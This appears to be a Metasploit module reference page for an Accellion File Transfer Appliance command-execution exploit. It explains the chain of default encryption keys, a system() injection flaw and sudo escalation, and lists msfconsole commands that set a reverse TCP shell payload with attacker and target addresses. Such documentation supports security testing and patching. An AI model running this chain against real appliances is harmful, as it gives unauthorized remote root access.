Accellion File Transfer Appliance MPIPE2 Command Execution
This module exploits a chain of vulnerabilities in the Accellion File Transfer appliance. This appliance exposes a UDP service on port 8812 that acts as a gateway to the internal communication bus. This service uses Blowfish encryption for authentication, but the appliance ships with two easy to guess default authentication keys. This module abuses the known default encryption keys to inject a message into the communication bus. In order to execute arbitrary commands on the remote appliance, a message is injected into the bus destined for the 'matchrep' service. This service exposes a function named 'insert_plugin_meta_info' which is vulnerable to an input validation flaw in a call to system(). This provides access to the 'soggycat' user account, which has sudo privileges to run the primary admin tool as root. These two flaws are fixed in update version FTA_8_0_562.
Exploit Rank
- Excellent
Exploit Authors
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/linux/misc/accellion_fta_mpipe2
msf exploit(accellion_fta_mpipe2) > show payloads
msf exploit(accellion_fta_mpipe2) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(accellion_fta_mpipe2) > set LHOST [MY IP ADDRESS]
msf exploit(accellion_fta_mpipe2) > set RHOST [TARGET IP]
msf exploit(accellion_fta_mpipe2) > exploit
Exploit Module Options
| APPID | The application ID (usually 1000) (default: 1000) |
| RHOST | The target address |
| RPORT | The target port (default: 8812) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |